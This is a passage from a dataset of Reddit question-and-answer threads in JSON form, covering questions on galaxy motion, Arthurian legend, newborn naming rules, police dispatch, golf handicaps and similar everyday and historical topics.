blueshifted, because the mass of both M 31 and the Milky way causes an appreach of these two galaxies. Yet another galaxy, named Leo A is slowly receding from us, while it is only 2,25 million ly away. The small mass of this dwarf galaxy plus the (relatively) small mass of the milky way is not enough for the galaxy to be gravitationally bound. \n\nUGCA92 is another dwarf galaxy at a distance of about 4,7 million ly. It is blueshifted despite its small mass and distance, because it is bound to the very heavy Andromeda galaxy. Other galaxies of similar distance but not bound to either the M31 or Milky way subgroup are already receding pretty fast at that distance, like the galaxies of the NGC 3109 subgroup with a distance of about 4,3 to 4,6 million ly and a relative speed of over 300 km/s. \n\nThat being said, gravity is stil acting on galaxies receding from us, just not strong enough for them to approach us. The local group of galaxies is receding much slower from the center of the Virgo-Supercluster (our local supercluster), than you'd expect,  because of its huge mass. We recede from there with only about 1000 km/s, while you'd expect a speed of 1400 km/s with only the Hubble-Flow taken into account. \n\nBecause of the same reason, the distances above are only valid for the local group. Withing the centers of the largest superclusters, the gravity is strong enough to be dominating over much greater distances, so you can expect blueshift of the galaxies withing those clusters over much greater distances too. ", "Only the local group could remain.\n\nBefore the discovery that the metric expansion of the universe is accelerating, and hence the universal constant, it is reasonable to expect quite a huge area of the space to coalesce including the Virgo Supercluster.\n\nBut no, space is expanding faster due to the constant, and recent discovery of Lanikea Supercluster when galactic velocities are measured against CMB had us on the edge of two diverging flows - which means we won't have many company when things really do stretch out. Within the present epoch, we can still jump on a relativistic spaceship aiming for Virgo cluster and arrive within a reasonable time frame of about a hundred million years. Otherwise we'll only have our milky way and Andromeda to colonize when things eventually settle.. Kind of sad isn't it.\n\nGlad my life is on a *much much much much* shorter time span."]}, "title_urls": [], "selftext_urls": ["http://www.roguewolves.com/files/The-Observable-Universe.jpg"], "answers_urls": [[], []]}
{"q_id": "1qj1qz", "title": "What was academic life like for a student at the University of Timbuktu / Sankor\u00e9 in the 1300-1400s?", "selftext": "/u/Searocksandtrees added a new section to the Popular Questions regarding [Life in Universities](_URL_0_), but I noticed it is currently quite Eurocentric. I figure this is a good place to start in correcting that large gap in our archives.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1qj1qz/what_was_academic_life_like_for_a_student_at_the/", "answers": {"a_id": ["cddz4vj"], "score": [9], "text": ["Ooh, I've been waiting for this thread for awhile to ask these questions:\n\nWhat was the frequency of visits made by Europeans and Middle Eastern/North African Muslims to the University of Timbuktu?\n\nWhat percentage of the student body were made up of foreigners?\n\nHow respected and how well known was the University of Timbuktu in both the Islamic and Christian worlds? Did it or its students influence the development of Universities in Europe? (or Madrasas in the Islamic world?)"]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/AskHistorians/wiki/dailylife#wiki_life_at_university"], "answers_urls": [[]]}
{"q_id": "1q0xh6", "title": "if two parents refuse to name their newborn, how does it get named?", "selftext": "The state? The hospital? And.how do they pick the name?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1q0xh6/if_two_parents_refuse_to_name_their_newborn_how/", "answers": {"a_id": ["cd815uk", "cd82puh", "cd83mxf", "cd83oxd", "cd84mha", "cd853li", "cd8952i", "cd8a68g", "cd8bt9g", "cd8mi7k"], "score": [10, 17, 29, 8, 4, 4, 3, 6, 4, 3], "text": ["Do people do that?", "Well this is from experience.\n\nMy parents didn't name me for a couple of months so the government started fining them until they finally named me.\nMy guess is they would have continued to do so if i hadn't been  named and just forced my parents to name me or go broke.\n\nP.S Don' remember the exact fine but it was pretty hefty ", "In Denmark, if you haven't named your child after a period of time (3 months I think) it will be given a name from the Danish royal family line, randomly.\rBoys: Frederik, Henrik, Christian, Joachin, Nicholai, Vincent\rGirls: Magrethe, Josephine, Marie, Isabella\r\r", "I was planned to be adopted at birth, and thus my birth parents didn't name me.\n\nFor roughly 4 days I was legally referred to as \"baby cooper\" my biological fathers last name. I have some old documentation to show that. I would assume that this is pretty normal.\n\nedit: US hospital (Illinois more specifically)", "My parents thought I was going to be a girl because I kept hiding my babyhood in the pictures (and it was quite small).  I was going to be named Theresa, but when I was born they didn't pick a boy name.  I was \"baby boy [last name]\" for a few days until my dad opened a book of names and pointed to a boy name.  I was born in NJ.", "In the US naming is controlled by the states, so it varies. I was a birth certificate clerk in TN and when I had one case like that it turns out you just get the mothers last name and don't have a legal first name. Other states probably have different standards. I suspect that \"Baby\"  < lastname >  is common.\n\nIn most hospitals you'll be listed as Baby  < lastname >  or perhaps Baby Boy  < lastname > ; multiple births get something like Baby Boy A, B, C etc. That's just so that they have an entry to chart everything on until you have an official name. The hospital will generally change the name after discharge unless you have a particularly long stay.", "I'm in central KY - when my daughter and son were born (7 and 5 years ago), we were told both times that we couldn't leave the hospital until we named them.\n\nSo the nurses were LIARRS?!", "In Thailand, a monk can name your newborn. \n\nI asked my mom who named me. She said my dad did. Asked my dad if he named me, he said he doesn't remember who did. To this day, I still don't know who. ", "In Norway, if you don't name your child within 6 months your child is given the most popular boy or girl name in the county you live in. ", "In Soviet Russia; Baby names you.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], []]}
{"q_id": "9v988l", "title": "The Arthurian legend was largely developed in France through the middle ages (when England and France were significant rivals). Why did the English embrace a largely French creation? Were there any misgivings? What about from the French side?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9v988l/the_arthurian_legend_was_largely_developed_in/", "answers": {"a_id": ["e9apqfv", "e9b8ayy", "e9b9sq2", "e9bbxxg"], "score": [14, 12, 615, 236], "text": ["**To subscribe to this thread through the Remind Me Bot, [send it a note through this link.](_URL_1_!)** If you subscribed and have come back to read the answer after being reminded by the bot, please respond here and let us know!\n\nHi, everybody! So, you've probably clicked on this thread because it has so many upvotes and you assume that means there's an answer - but that's not how /r/AskHistorians works. In general, people upvote threads here because they *want* an answer. The thing is, [it can often take time for a good answer to be written](/r/AskHistorians/comments/7s66yf/a_statistical_look_at_askhistorians_in_2017_part_i/). Our mission is to provide users with *in-depth and comprehensive responses*, and our [rules](/r/AskHistorians/wiki/rules) are intended to facilitate that purpose. **That's why we remove comments that are very short, based on speculation, or just plain inaccurate. We also remove comments that do little but briefly point out a problem with the question.** Making comments asking about the removed comments simply makes the problem worse. So please, before you try your hand at posting, check out the [rules](/r/AskHistorians/wiki/rules): we don't want to have to give you a temporary ban for ignoring them.\n\nWhile you wait, you can check out places our already-answered questions are featured, including [Twitter](_URL_6_), the [Sunday Digest](_URL_2_), the [Monthly \"Best Of\"](_URL_5_) feature, and now, [Facebook](_URL_3_). Statistically speaking, it's very likely that the question will be answered in a few hours, so please check back in later.\n\nFinally, while we always appreciate feedback, we ask that any comments about our moderation style and rules be sent to [modmail](_URL_0_), or a [META thread](_URL_4_[META]). Please be aware that we've considered and discarded the idea of an \"answered\" flair and an automatic \"free talk\" comment thread many times already. Thank you!", "Follow on question - given that the boundaries of England and France were somewhat in flux during this time, was the Arthur legend thought of as \"ours\" or \"theirs\" by English subjects on the (now) French mainland?\n\nHow did the Arthur legend, which has modern connotations of national identity, fit into the cultural identity of pre and early modern English subjects, especially commoners? ", "I challenge the premise of your question. French authors indulged in a great deal of composition with Arthurian themes, but they were not necessarily the source of Arthurian tradition - including the legends told of Arthur and his court. In fact, Arthur was (and is) so intimately tied to Britain, that one could ask why French authors were attracted to this body of folklore, rather than why the English embraced the tradition.\n\nArthurian folklore has deep roots in Wales and Cornwall. If we accept the controversial conclusions of O.J. Padel, Geoffrey of Monmouth (c.1095\u20131155), author of The History of the Kings of Britain, came from Cornwall and Cornish folklore was also behind the Tristan cycle of Arthurian literature: Geoffrey of Monmouth is one of the first authors to write extensively about Arthur. We can add to this the late fourteenth-century \"Sir Gawain and the Green Knight\", which demonstrates that by the medieval period, England had also embraced Arthur and his court.\n\nThe question, then, is more about how the Arthurian tradition spread to French writers - and to other authors (for it was also popular in the Germanies and elsewhere). One can look to Brittany with its close ties and common language with Cornwall as a possible path for Arthurian tradition to reach France, but one must keep in mind that until fairly late, parts of France were held by the King of England. That resulted, of course, in considerable conflict - notably to the Hundred Years War (1337-1453), but all that was in response to those close ties, so it is not surprising to see shared traditions and literature.\n\nSources: O.J. Padel, \u2018Geoffrey of Monmouth and Cornwall,\u2019 Cambridge Medieval Celtic Studies, 8 (Winter 1984), pp. 1\u201328. O.J. Padel, \u2018The Cornish background of the Tristan stories\u2019, Cambridge Medieval Celtic Studies, 1 (Summer 1981), pp. 53\u201381.\n\nedited to add date for \"Sir Gawain\"", "Well, I'd been looking to get back in the game, and a medieval literature question right now is just too good to pass up even if it required a walk to the library in the dark and rain (thanks Scotland).\n\nSo the early textual history of Arthur is a mess, but I think it's a bit misleading to describe the Arthurian legend as \"largely French.\" As some removed commentators noted, Arthur's genesis was in Brythonic folk tradition. What this means, is that in the 12th century when Geoffrey of Monmouth publishes his *Historia Regum Britanniae*, the first major Arthurian text, there are some major cultural crosscurrents that defy the simple English-French conflict. Firstly, Brythonic roots meant that in addition to a folk tradition on the British island, there was also an Arthurian tradition in Brittany, meaning that the story existed on the continent from the early days. Brittany was also directly adjacent to, and for some time ruled Normandy, which famously produced the *french-speaking* rulers of England after 1066. I know nothing close to enough to speculate about who would have known what about Arthur pre-Geoffrey, but it is useful to keep in mind that even from the early days, the national valence of the story was ambiguous.\n\nThat brings us to the famous chronicle of Geoffrey of Monmouth, the *History of the Kings of Britain*. Written in Latin, in Britian by a Cleric whose ethnic background is unknown, (Norman, Breton, and Welsh origin have all been floated as I understand it, and we'll probably never know.) the Chronicle was wildly popular. We have over 200 manuscripts containing it, which is a positively immense number (Sir Gawain and the Green Knight, the most famous English Arthurian Romance, survives in one). The History's particular popularity in England might have something to do with the fact that it had something for everyone. To the Welsh and Cornish, it told a story of their national glory, for the English, it told a tale of the rulers of the island being displaced, in time, by conquerors, and for the Normans, it grounded their crown in antiquity (Monmouth attributes the founding of the British kingdom to Brutus, the legendary son of Aeneas, the similarly legendary hero of Troy and founder of Rome) and helped legitimize their rule over the island. By the end of the story, it is clear that the story of the Britons is over as King Cadwallader is sent by an Angel to die in Rome, and the Saxons are clearly established as unjust and wicked conquerors. The *Historia* implies that the Normans are much like the textual Romans, conquerors of a barbarous people who will be sublimated into the superior culture, and furthermore the large number of Breton lords under William I provided another connection. \n\nMonmouth's popular work was also adapted by an Anglo-Norman guy called Wace, whose *Roman de Brut* was a French \"translation\" of the Latin original. Wace substantially revised the work, expanding the Arthurian section, but what's important here is that Wace's adaptation and Geoffrey's original would be accessible to elite readers on both sides of the Channel. Norman elites still spoke, and if they could read, read French, and Latin  was a transnational prestige language, and would remain so for centuries. I'll spend less time on him, other than to briefly mention that he originated the Round Table in the written works, though the sources I'm looking at suggest that it had folk tradition roots. \n\nThese and some other works make up the key dimensions of the \"Chronicle\" strand of the Arthurian tradition, and it would be these works that dominated the English Arthurian tradition, particularly in the earlier Middle Ages. The key texts of this tradition were clearly from the British Isles, (Terminology is hard here, at this time English can refer to either Normans or Saxons, and British can refer to all inhabitants of the British Isles or to Brythonic peoples\") and they provide a sweeping history of Celtic Britain, and a dynastic hero equal to Charlemagne that the Plantagenet court could easily appropriate. \n\nThe other strand of the Arthurian tradition is what is known as the \"Romance\" strand, and this is the strand that is more closely associated with France, though it should be noted that the England-Chronicle/France-Romance duality shouldn't be overplayed. Wace and Geoffrey and other chronicles were read in France, and there are Arthurian romances in English. The French never had the same political interest in the \"historical\" Arthur, nor was Geoffrey's history taken quite as seriously in Paris as it might have been in England. However, the work was no doubt entertaining, and much of its material was adapted by Chretien de Troyes into his Arthurian romances. These and their french decedents share a number of features: A focus on Chivalry and the quests of Arthur's knights, rather than Arthur himself, a more ambiguous view of Arthur as a king (He usually isn't much of a player, and sometimes isn't an ideal king), and an increased focus on courtly love and the supernatural.\n\nThis tradition filtered back into England, with works like *Sir Gawain and the Green Knight* or or the various Death of Arthur books carrying substantial artistic debts to French Romance (and indeed, the modern Arthur of Camelot, with a round table of honorable knights questing for the grail, probably owes more to this Arthur than to the Chronicle one), but it was never really seen as undercutting the \"Britishness\" of Arthur. Nor did the French seem to have much trouble with Arthur either. While French audiences seem to have been a bit more skeptical of Geoffrey's historicity, they already had a perfectly good national hero, and so Arthur wasn't particularly threatening, and he provided an excellent source for lots of delightful romances!\n\nThis necessarily glosses over a LOT (I am not an Arthur scholar at all), particularly Arthur's reception outside of Britain and France, the continuing Brythonic Arthurian tradition, and some of the complexities of the genre interplay between Epic, History and Romance in Medieval Literature, (which is just too heady for me to cover tonight) but I think gets to the point of how Arthur could be popular in both Britain and France. For the former, he could be a historic, national hero, for the latter, he could be source material for tales of chivalric glory.\n\nSources:\n\nBarron, William R. J., editor. *The Arthur of the English: The Arthurian Legend in Medieval English Life and Literature*. Rev. ed. with an additional postscript, Univ. of Wales Press, 2001.\n\nBurgess, Glyn S., editor. *The Arthur of the French: The Arthurian Legend in Medieval French and Occitan Literature*. Univ. of Wales Press, 2009.\n\nIngham, Patricia Clare. *Sovereign Fantasies: Arthurian Romance and the Making of Britain*. University of Pennsylvania Press, 2001.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/message/compose?to=%2Fr%2FAskHistorians&amp;subject=Question%20Regarding%20Rules", "https://www.reddit.com/message/compose/?to=RemindMeBot&amp;subject=Reminder&amp;message=%5BLINK%20INSIDE%20SQUARE%20BRACKETS%20else%20default%20to%20FAQs%5D%0A%0ANOTE:%20Don%27t%20forget%20to%20add%20the%20time%20options%20after%20the%20command.%0A%0ARemindMe", "http://www.reddit.com/r/AskHistorians/search?q=title%3A%22Sunday+Digest%22&amp;restrict_sr=on&amp;sort=new&amp;t=all", "https://www.facebook.com/askhistorians/", "http://www.reddit.com/r/AskHistorians/submit?selftext=true&amp;title=", "https://www.reddit.com/r/AskHistorians/wiki/bestof", "http://twitter.com/askhistorians"], [], [], []]}
{"q_id": "av4lsd", "title": "what happens to the vagina during intercourse?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/av4lsd/eli5_what_happens_to_the_vagina_during_intercourse/", "answers": {"a_id": ["ehcm4m5"], "score": [5], "text": [" > \tIs my vagina defective?\n\nThis is something you really need to talk to a doctor about rather than internet strangers. However in general the vagina will expand during arousal so the width and depth you describe is more like prior to arousal.\n\n > \tMost of time, when I move my fingers in and out, it hurts.\n\nThis sounds like \"vaginismus\", a somewhat common (10-15% of women) ailment where the muscles around the vagina will involuntarily contract. Again this is something a doctor can help with, and can be overcome both psychologically and with physical exercises.\n\n > \tEven though intercourse would probably be agonizing, is it a good thing that I\u2019m \u201ctight?\u201d\n\nNo. The vagina is surrounded by muscles and when a woman is \"tight\" on a penis it is supposed to be because she is voluntarily clamping down because she is enjoying herself. Sex should be enjoyable for everyone involved and I'm sure it can be for you... after you see a doc. I hope you are noticing a theme here.\n\n > \tDo men thrust hard or deeply during intercourse?\n\nDepends on their partner. My wife really wants me to give it to her but your partner should be listening to what you want. When you are just starting out it is fine to be slow and cautious.\n\n > \tAfter sex, if you don\u2019t use condoms, do you feel dirty down there and guilty? I feel like I\u2019d feel guilty and dirty (like a used sex toy).\n\nThere is a lot of social and particularly religious baggage around sexuality. Being comfortable and enjoying your body isn't anything to be guilty of.\n\nFeeling like you were just used for sex is an indication of a terrible relationship with your partner; it should feel like you both just had an enjoyable private activity. You had sex because you both wanted to have sex and nobody else gets to criticize that choice.\n\nPhysically though semen is sticky and tends to clump more in warm water than cold.\n\n > \tIs it true that the fourchette and vagina tear during intercourse?\n\nIt can depending on the partner but it isn't that bad. For my wife it is like a paper cut occasionally and we are about at the statistical extremes.\n\n > \tIs it true that the muscles in the vagina are forced apart during intercourse?\n\nThere are muscles all around the vagina and as the penis enters they must make room for it so I guess so? It is supposed to work that way, it shouldn't be painful.\n\n > \tDoes the vagina exist only as a toy for the penis?\n\n Does the penis only exist as a toy for the vagina? No, neither are correct. They are both mechanisms to make babies, and can be toyed with by both participants.\n\n > \tBecause of my defective vagina, I feel like in the future when I have the partner, the man that I\u2019m with would rather use a toy than use my vagina.\n\nYour vagina probably isn't \"defective\", and I assure you there are men who will very much enjoy your vagina just as much as you will their penis. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3xhiqi", "title": "why are car chases televised so much on the west coast and barely ever shown on the east coast (usa)", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3xhiqi/eli5why_are_car_chases_televised_so_much_on_the/", "answers": {"a_id": ["cy4nnpv", "cy4pn87", "cy4s8kg", "cy4s9d7", "cy4y222"], "score": [80, 25, 4, 55, 8], "text": [" This phenomenon is almost unique to Los Angeles. That city has a huge amount of freeways, and several different TV news stations  with their own competing helicopters. A car chase on a freeway is one of few things that makes those helicopters actually useful for producing interesting television. ", "West Coast cities were built much more around cars and freeways than East Coast cities due to geography and lots of open space. Many West Coast cities, like Los Angeles, have physically huge limits when compared to East Coast cities, like New York. Thus, car chases are going to be much longer and have more variety (freeways, mountain roads, etc.)", "I live in DC and we had one on the Beltway a few months ago:\n\n_URL_0_\n\nI was all \"what coast am I on?\"", "Have you ever been to an east coast city? \n\nIt would be ten seconds of chase followed by two hours of gridlocked traffic ", "Better chase highways. Have you ever played grand theft auto? You can't tell me Liberty City is better for car chases than San Andreas."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.youtube.com/watch?v=l9PpgZV3CrQ"], [], []]}
{"q_id": "u5nh9", "title": "How effective is heat for birth control?", "selftext": "Hey guys, funny question time. The wife and I have decided to try and get pregnant, and reading through all the literature, I've seen a lot of information that seems to contradict what we were all told in highschool. For example, nobody seems to tell you that females are only fertile for a couple days out of the month and it's incredibly hard to intend a pregnancy due to this (not even considering how many times a fertilized egg miscarries without knowledge). Reading more into what inhibits male fertility, I saw that prolonged exposure (30mins or more) significantly reduces the amount of viable sperm able to fertilize an egg. \n\nThere appears to be several scientific and anecdotal pieces regarding just how detrimental heat is to sperm counts. This sparked the question, is it possible to expose yourself to the correct amount of heat for a certain period of time to ensure that all viable sperm are destroyed? It seems that temperature exceeding 95\u00b0F for prolonged periods will effectively make one temporarily sterile until new sperm can be generated....given that this takes several months, this may be a good method of birth control for males. Just sit in a hot tub or sauna for an hour several times a month and you're good, right?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/u5nh9/how_effective_is_heat_for_birth_control/", "answers": {"a_id": ["c4siwke"], "score": [8], "text": ["No.\n\nYour body constantly makes sperm. Sperm produced in the testes are immature. They mature over a period of two weeks in the epididymis and gain motile functions. This is where heat interferes with sperm production. They cannot mature correctly if it's too hot. Mature sperm are much less affected by heat.\n\nIf you go in a hot tub, your fertility will be marginally lowered for a day in about two weeks. There will be other healthy sperm.\n\nLets say you go in a hot tub, many times a day, everyday for your life. Your fertility will be seriously affected. We will incredulously say 95% of your sperm do not work. If your ejaculate has 100 million sperm, you're still going to have 5 million viable sperm ready for action."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2nwibo", "title": "how police dispatch works.", "selftext": "Listening to scanners for my major city and it seems like organized chaos. How do officers get necessary information like specific addresses or assigned to calls? \n\nUS resident", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2nwibo/eli5_how_police_dispatch_works/", "answers": {"a_id": ["cmhk1i6", "cmhk1re", "cmhqbxy", "cmhqjci"], "score": [2, 3, 19, 2], "text": ["Google your local radio codes. They aren't secret, they merely decrease the amount of talking we have to do", "Depends on the size of the department. Large departments usually have computers in their cars to see what's pending.  They can assign themselves to it or the dispatcher can give them the basics and they look it up on the computer. But there isn't a uniform way things are done for all US agencies,  so your local department could easily be very different. ", "Dispatcher here. I dispatch for a sheriffs office in a ski county. Our dispatch center dispatches for the county deputies, the state troopers, the park rangers, the wildlife officers, the US forest service officers, and local fire and EMS. As far dispatching law enforcement goes, each agency has a certain jurisdiction, and if a call happens in their jurisdiction we usually send one (or multiple) units depending on the call. For example the state troopers take all of the calls on the state roads and interstates (accidents, traffic violations, road hazards, suspicious vehicles on the interstate, etc). The county deputies take all of the calls on county roads, and county property. These calls may include domestic violence calls at a citizens houses, burglary alarms, citizen complains against each other, welfare checks, and civil problems. They also patrol the area proactively trying to prevent crime. They have a job very similar to a city police officer. The park rangers take care of all of the problems in state park jurisdiction, and the wildlife officers generally ride around on ATVS and look for poachers, and take care of the wildlife people encounter on their property. The US forest officer takes the calls in the national forest in our jurisdiction and patrols the highway the passes through it. He may also receive help from our deputies if need be because we have a deputy whose zone passes through his national forest. We also have a local police department in the area, but their dispatch is in another location and we occasionally coordinate. We can hear each others radio traffic, but don't dispatch each others officers. \nNow, there are about 6 troopers (Highway  patrol) on air in the busiest time, and they are separated into 3 zones. Each trooper is assigned a zone, and if we receive a call in their zone we generally ask them to respond. If all the troopers in their zone are unavailable, we ask the officer in charge to advise. \nThe deputies have 4 zones with 6 deputies on duty. 4 deputies have their own zone (so one in each zone) and there is a float who will respond to any call if an officer is busy, and another call comes in in their zone. There is also a SGT on duty who is the boss of the crew. If a call comes in their zone, they are dispatched to it, and if deputies from another zone come to assist, the officer who is assigned to that zone will be in charge of the call (write the big report, and if needed, take the prisoner into the jail). \nWhen we take a call our system automatically recognizes the address and maps it for us, and we can see whose zone it is in, and we send that unit. Generally, there is a unit available to assist if they need backup, and all officers in every agency will back each other if they feel they are in a dangerous situation. \nWe have a computer aided dispatch system \n\nthat tracks all of the calls, and what every unit is doing, so we know if they are available, unavailable, their location and how long they have been on that call so we can security check them if need be. \n\nI'm not going into detail with any other agency besides the highway patrol and Sherrifs deputies because they all pretty much have one zone. \n\nI hope this covers at least a small chunk of curiosity. Feel free to ask more questions, because I'm sure I've probably made no sense.\n\nOh, and they know the address because it shows up on their mobile dispatch center on their computer in their vehicle, and we always tell them when we dispatch them on the call. ", "Short answer:\n\n911 call comes in - >  dispatcher takes call and documents information in a call log in the computer - >  call goes to a radio - >  radio dispatcher goes out over the air to unit using brevity codes (these codes differ between agencies but tell the officers what type of call it is) - > officer copies call and responds\n\nAddress is given to the officer when call is dispatched along with any other important information."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "8cyttv", "title": "what is a golf handicap?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8cyttv/eli5_what_is_a_golf_handicap/", "answers": {"a_id": ["dxiuyht", "dxivel1", "dxivr2a", "dxivxj0", "dxix0c0", "dxj599q", "dxl050n"], "score": [2, 2, 6, 14, 77, 2, 2], "text": ["It's a head-start for weaker players, to even up the chances of winning, since you usually play golf with your friends, who have different levels of golf skill, instead of carefully-matched competitors.", "It is a way of taking your average score, weighted against the difficulty of the course to get the handicap.  Then your handicap is put up against the people you are playing against.  Then weaker players are given an advantage against stronger players so that the game stays competitive and everyone can have fun even though some people are better players.", "Let's look at running, as an example. \n\nLet's say you have Usain Bolt who can travel 11 m/s, and some random fat guy (henceforth known as \"RFG\") who can run 4 m/s.\n\nOver 10 seconds, they travel:\n\n* Usain Bolt: 110 meters\n* RFG: 40 meters\n\nNow, let's say we want to see a race that determines who wins based on who gives their best effort better. RFG would start 40 meters away from the finish line, while Usain Bolt would start 110 meters away. Whoever crosses the finish line first gave the best effort.\n\nRFG has a 70 meter handicap.\n\n___\n\nNow to golf: Let's say Bill averages a score of 32 across 18 holes, and Joe averages a score of 37 (worse).\n\nJoe would have a -5 handicap to even the odds and test both player's effort (given their skill) evenly.", "It's a somewhat complex formula that takes a number of rounds (say, 10) and measures your scores against the difficulty of the courses (slope rating) you played in those 10 rounds , and basically determines what your average score is to the par of a course (usually 72).  You then apply this handicap to anyone you may compete against.\n\nSo for example, you establish a handicap and it is a 10.  You compete against your friend who is a 20.  This means that you are typically 10 strokes better than him/her per round.  To make the competition fair, you would grant the opponent 10 strokes over the course of the round- and they would be on the 10 hardest holes (hole handicap 1-10).   Or you could tally up the strokes at the end, deduct 10 strokes from the opponents score and declare the winner.  ", "Par might be 72, meaning it should take about 72 strokes to finish all 18 holes.\n\nI always shoot around a 92. My handicap is 20.\n\nMy dad always shoots about a 77. His handicap is 5.\n\nIf we want to play together, especially if we want to bet, why would I bet? He's gonna kick my ass. So instead, we bet that I can close that gap of 15 strokes between our handicaps today.\n\nWatch:\n\nHe shoots an 80 (8 over par). I shoot 82 (10 over par). Who had a better day? Me, I had a great day, 10 under where I usually am. Handicap normalizes your scores so you can compete in a more fun way.", "Handicaps, in sports terms, are a \"score\" or equivilent thereof that rates a player versus other players.\n\nIn golf, it's in terms of strokes.  If you have a handicap of 5, you subtract 5 from your score.  If you have a 10 handicap, subtract 10.  And so forth.\n\nThe idea is that it allows players at various skill levels to compete with each other on a more equal basis.\n\nSports other than golf do this as well, with different systems - but they all accomplish the same goal of allowing competition between differently skilled players on a more \"fair\" basis.  Bowling comes to mind as a big practitioner of this.  Sailing actually has open classes that run on this - your boat is given a handicap, so that a whole slew of different boats can be in a race.  Otherwise, you'd have to all have the same exact model of boat, which isn't fun or affordable for most people.", "Rating = What the average scratch player would shoot on a given course from given tees.\nSlope = What the average bogey player would shoot on a given course from given tees.\nThose numbers can be wildly different. On the local 6300 yard muni, the rating might 69.5 and slope at 115. That would indicate an easy course. \nGo to a TPC course and those numbers really start to spread out...you might get a rating of 73-75 but a slope of 135-145. That is a course you should not be on if you are not a ligit single digit handicapper unless you are looking for a long day (bring a few dozen balls).\nSlope is the more valuable number when compiling handicaps."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "35g2zq", "title": "How accurate is AMCs show Turn?", "selftext": "Is Abraham Woodhall a real person? How about Ben Tallmedge? Was there really an agent in New York? Was Simcoe real or just something added to give the show a villain? Help me understand whats realistic and what was added in the name of the show.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/35g2zq/how_accurate_is_amcs_show_turn/", "answers": {"a_id": ["cr44od6"], "score": [14], "text": ["Basically all the names are of real people.\n\nThe Culper Ring did exist, though it was organized and began operations in 1778, years after depicted in the show. By that point the British Army had marched back from Philadelphia to New York with Washington watching them from New Jersey and up the Hudson, and the main forces would esentially remain in that stauts quo for the rest of the war. Thus a source of information from inside the city was crucial. \n\nTallmadge did indeed become the Chief of Intelligence for Washington acting essentially as his S-2, and was actually an officer in the 2nd Continental Light Dragoons as depicted. \n\nWoodhull though did not marry until 1781, and was indeed roped in after being caught smuggling.\n\nBrewster was the man who piloted ships and transferred messages. \n\nAnna Strong was Woodhull's neighbor and involved actively, though her husband was not killed and survived the war in prison, and they had 9 children.\n\nTownsend was the agent in the City, he wrote a column for a loyalist paper, and had interests in both a tailor and coffee shop.\n\nWashington though was much more active in the operations then is really depicted, even sending letters direct to Woodhull spelling out what information to gather and methods to use.\n\nJohn Graves Simcoe was a real officer. He was wounded leading men at Brandywine Creek during the Philadelphia campaign, and while trying to recruit free blacks to the British was named the commander of the Queen's Rangers and did so with competency and mild distinction through the end of the war.\n\nAfter he became the first Royal Governor of Upper Canada (Southern Ontario) in 1791. He was remarkably progressive in the post introducing consistent rule of law, founding Toronto, and abolishing slavery. \n\n_URL_0_\n\nThis article from the Journal of the American Revolution is a good introduction to the topic too. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://allthingsliberty.com/2014/04/amc-turn-everything-historians-need-to-know/"]]}
{"q_id": "3dqf0u", "title": "why, when i've done nothing wrong, do i feel guilty when passing by a cop? what's the psychology behind it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3dqf0u/eli5why_when_ive_done_nothing_wrong_do_i_feel/", "answers": {"a_id": ["ct7n7yb", "ct7nhtf", "ct7oaqz", "ct7pf92", "ct7phnx", "ct7pn8s", "ct7pugy", "ct7pvrs", "ct7pwlw", "ct7q8ql", "ct7qmyu", "ct7sflc", "ct85v66"], "score": [40, 14, 3, 17, 3, 8, 459, 2, 6, 2, 6, 2, 2], "text": ["I hope someone answers. I grew up in the inner city gang infested neighborhood during the early 90s and was pretty self-aware of the hard reality of being brown = a suspect. To this day, being college educated, with a government clearance, I still get really bad anxiety whenever I pass one - even on the freeway - and actually get happy when they don't follow. Hope someone explains soon! ", "I think this happens because we are programmed to be utilitarian by nature. Anything and anyone that surrounds us is there for a reason. We, humans, adjusted our environment to serve functions for our purposes. Anything physical, be it objects or processes, or other people, as representatives of professions serve some kind of function. You see doctors, and you immediately associate them with hospitals or universities. You see machinery, and you associate it with its intended purpose. Same logic here. You see cops and you associate them with whatever purpose you think they were introduced to serve. In most cases that purpose is to fight crime or wrongdoing in general. Here's the caviat. Remember the old adage from the bible that says we all have sins. It was ingrained in the bible for the right reason that we- humans- share universally. We have all done something wrong. We know it. Everybody knows about it. So when you combine these two ingredients we cannot not be reminded of our own wrongdoings. It is subconsious but still very strong to provoke gut reaction. ", "I suspect there will be a lot of bullshit in this thread speculating on human nature, making generalizations of police officers, etc., and I don't want to add to it.\n\nI'll just say that if you do pass by a cop, smile and say hello every now and then. They are working people, too. ", "Remember that one time you smoked weed in college? The cop remembers. AND HES GONNA GET YA!!!", "Because a cop can give you a ticket or arrest you for no fucking reason.\n\nMyself and 6 friends were arrested and taken to a prison for processing on allegations of street racing JUST BECAUSE WE WERE ON MOTORCYCLES riding together. (We didn't speed, race, or even break the speed limit)\nSince then, an entire story was published in our (large) city's newspaper that has been entirely fabricated.\nSadly none of us had GoPros recording. If we win our \"not-guilty\" plead case, we'll be suing the newspaper for defamation/slander just for starters.\n\nThere is much more to the story, but this is the bare bone details. It would take 2 pages to cover the events that unfolded that night after the police 